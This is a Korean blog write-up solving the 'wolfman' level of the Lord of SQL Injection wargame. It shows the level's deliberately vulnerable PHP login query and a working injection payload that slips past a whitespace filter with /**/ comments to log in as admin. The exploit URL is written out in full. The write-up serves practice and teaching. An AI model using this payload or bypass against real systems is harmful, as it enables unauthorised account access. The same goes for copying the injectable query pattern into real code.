본문 바로가기

워게임

Lord of SQL Injection - 5번 문제풀이

[5번 문제 - wolfman]

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>
cs

4번 문제에서 어려움을 느껴서 그런지 5번 문제는 쉽게 느껴졌다.

해당 문제에서 핵심은 공백 문자 우회이다!!

공백 문자 우회만 하면 쉽게 풀 수 있는 문제이니 가볍게 설명하고 넘어가겠다.

 

공백 문자 우회는 검색하면 많이 나오는데 내가 쓴 방법은 /**/ 주석 처리 문자를 넣어서 공백을 우회했다.

 

[기존 구문]

select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'

 

공백 문자를 우회해서 id가 admin인 계정으로 로그인만 하면 되기 때문에 아래와 같이 공격 구문을 작성했다.

 

[공격 구문]

1234'/**/or/**/id='admin'/**/and/**/1=1#

 

[문제 풀이 구문]

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=1234%27/**/or/**/id=%27admin%27/**/and/**/1=1%23